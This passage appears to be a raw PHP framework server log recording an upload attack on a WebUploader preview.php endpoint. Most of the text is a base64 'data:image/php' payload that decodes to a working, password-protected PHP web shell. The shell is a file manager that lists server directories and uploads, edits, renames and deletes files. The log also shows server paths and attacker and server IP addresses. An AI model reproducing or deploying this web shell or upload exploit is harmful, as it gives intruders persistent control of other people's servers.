ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'js' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:19+08:00 ] 119.42.146.234 POST 59.110.137.245/static/admin/webuploader/0.1.5/server/preview.php [运行时间:0.002833s] [吞吐率:352.97req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IG